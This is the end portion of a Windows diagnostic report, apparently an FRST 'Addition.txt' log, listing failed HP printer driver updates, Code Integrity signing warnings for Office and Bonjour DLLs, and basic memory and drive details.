Null Print - HP Deskjet 5520 series. Error: (12/31/2015 12:19:25 PM) (Source: Microsoft-Windows-WindowsUpdateClient) (EventID: 20) (User: NT AUTHORITY) Description: Installation Failure: Windows failed to install the following update with error 0x80070490: Hewlett-Packard - Imaging - Null Print - HP Deskjet 5520 series. Error: (12/31/2015 10:10:14 AM) (Source: Microsoft-Windows-WindowsUpdateClient) (EventID: 20) (User: NT AUTHORITY) Description: Installation Failure: Windows failed to install the following update with error 0x80070490: Hewlett-Packard - Imaging - Null Print - HP Deskjet 5520 series. Error: (12/31/2015 09:59:30 AM) (Source: Microsoft-Windows-WindowsUpdateClient) (EventID: 20) (User: NT AUTHORITY) Description: Installation Failure: Windows failed to install the following update with error 0x80070490: Hewlett-Packard - Imaging - Null Print - HP Deskjet 5520 series. Error: (12/31/2015 09:37:20 AM) (Source: Microsoft-Windows-WindowsUpdateClient) (EventID: 20) (User: NT AUTHORITY) Description: Installation Failure: Windows failed to install the following update with error 0x80070490: Hewlett-Packard - Imaging - Null Print - HP Deskjet 5520 series. Error: (12/31/2015 09:23:35 AM) (Source: Microsoft-Windows-Kernel-Power) (EventID: 137) (User: ) Description: 4 Error: (12/31/2015 09:19:34 AM) (Source: Microsoft-Windows-WindowsUpdateClient) (EventID: 20) (User: NT AUTHORITY) Description: Installation Failure: Windows failed to install the following update with error 0x80070490: Hewlett-Packard - Imaging - Null Print - HP Deskjet 5520 series. Error: (12/31/2015 02:13:32 AM) (Source: Microsoft-Windows-Kernel-Power) (EventID: 137) (User: ) Description: 4 Error: (12/31/2015 02:01:43 AM) (Source: Microsoft-Windows-WindowsUpdateClient) (EventID: 20) (User: NT AUTHORITY) Description: Installation Failure: Windows failed to install the following update with error 0x80070490: Hewlett-Packard - Imaging - Null Print - HP Deskjet 5520 series. Error: (12/31/2015 12:45:18 AM) (Source: Microsoft-Windows-WindowsUpdateClient) (EventID: 20) (User: NT AUTHORITY) Description: Installation Failure: Windows failed to install the following update with error 0x80070490: Hewlett-Packard - Imaging - Null Print - HP Deskjet 5520 series. CodeIntegrity: =================================== Date: 2015-12-26 13:53:46.210 Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Program Files\Common Files\microsoft shared\OFFICE14\MSOXMLMF.DLL that did not meet the Custom 3 / Antimalware signing level requirements. Date: 2015-12-22 12:37:59.008 Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Custom 3 / Antimalware signing level requirements. Date: 2015-12-22 12:37:58.568 Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Custom 3 / Antimalware signing level requirements. Date: 2015-12-21 12:32:04.377 Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Custom 3 / Antimalware signing level requirements. Date: 2015-12-21 12:32:03.961 Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Custom 3 / Antimalware signing level requirements. Date: 2015-12-13 05:04:18.194 Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Program Files\Common Files\microsoft shared\OFFICE14\MSOXMLMF.DLL that did not meet the Custom 3 / Antimalware signing level requirements. Date: 2015-12-10 22:35:52.802 Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Custom 3 / Antimalware signing level requirements. Date: 2015-12-10 22:35:52.459 Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Custom 3 / Antimalware signing level requirements. Date: 2015-12-09 19:35:06.847 Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Custom 3 / Antimalware signing level requirements. Date: 2015-12-09 19:35:06.470 Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Custom 3 / Antimalware signing level requirements. ==================== Memory info =========================== Processor: Intel(R) Celeron(R) CPU B830 @ 1.80GHz Percentage of memory in use: 65% Total physical RAM: 3979.82 MB Available physical RAM: 1361.98 MB Total Virtual: 8075.82 MB Available Virtual: 3975.41 MB ==================== Drives ================================ Drive c: (OS) (Fixed) (Total:185.87 GB) (Free:82.46 GB) NTFS ==>[system with boot components (obtained from drive)] Drive d: (Data) (Fixed) (Total:258.45 GB) (Free:258.33 GB) NTFS ==================== MBR & Partition Table ================== ======================================================== Disk: 0 (Size: 465.8 GB) (Disk ID: 8F0070DF) Partition: GPT. ==================== End of Addition.txt ============================